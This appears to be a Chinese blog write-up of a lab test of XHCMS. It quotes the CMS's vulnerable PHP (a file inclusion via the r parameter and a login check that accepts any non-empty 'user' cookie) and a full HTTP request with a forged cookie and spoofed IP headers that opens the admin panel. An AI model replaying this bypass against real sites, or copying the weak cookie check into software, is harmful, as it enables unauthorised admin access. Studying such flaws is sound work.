熊海CMS Cookie脆弱

Cookie脆弱

文件分析,首先我们进入的是admin文件下的主文件,index.php

php 复制代码
<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>

通过r参数接收文件,使用三元运算符判断文件是否为空,如果为空进入index.php,不为空则进入我们r传入的文件名的文件,存在着文件包含漏洞

files/下面的文件,那我们去files文件下进行查看,先看里面的index.php C:\phpStudy\PHPTutorial\WWW\xhcms\admin\files,checklogin.php是一个检查文件的php

php 复制代码
<?php
require '../inc/checklogin.php';
require '../inc/conn.php';
$indexopen='class="open"';
?>

C:\phpStudy\PHPTutorial\WWW\xhcms\inc·文件下,接收了user用户的cookie,并没有对它进行检验,我们可以通过user不为空进行绕过Cookie:user=121312312

php 复制代码
<?php
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;	
}
?>

接下来我们来进行实践,访问http://192.168.118.140/xhcms/admin/?r=login,进行抓包,修改Cookie为任意值,获得数据包

复制代码
GET /xhcms/admin/?r=index HTTP/1.1
Host: 192.168.118.140
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20120101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.118.140/xhcms/admin/?r=login
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: user=é¹
13213123
x-forwarded-for: 8.8.8.8
x-originating-ip: 8.8.8.8
x-remote-ip: 8.8.8.8
x-remote-addr: 8.8.8.8
Connection: keep-alive

放包直接进入后台

相关推荐
Koi慢热6 小时前
DayDayMap学术社区体验:卫星网络测绘专题用下来怎么样
网络·人工智能·windows·web安全·网络安全
蒲公英eric20 小时前
从旧接口泄露到 OAuth 保护:DVWA API 模块完整漏洞分析教程
web安全·ai·ctf·dvwa·ai安全·api模块
云水一下1 天前
零基础玩转bWAPP靶场(六十七):Cross-Domain Policy File (Flash)
web安全·flash·bwapp
白猫不黑2 天前
CTF是什么?从零理解一场攻防竞赛
网络·web安全·计算机·网络安全·信息安全·ctf·红蓝对抗
一只鹿鹿鹿2 天前
信息系统网络安全检查表(Word)
大数据·安全·web安全·系统安全·制造
sbjdhjd2 天前
从“删除后重生”到认证绕过:PHP 常驻内存实验与 Cacti remote_agent 命令执行链路复盘
安全·web安全·网络安全·数据挖掘·php·网络攻击模型·安全架构
ccino .2 天前
Docker 容器删除卡在 Removal In Progress / Dead 解决
服务器·安全·web安全·网络安全
三8444 天前
云安全 · 02 · 容器与 Docker 安全基础
web安全·docker·云安全
宁之明起(B服)5 天前
struct2(vulhub靶场)指纹识别+沙箱绕过+反弹shell+webshell
web安全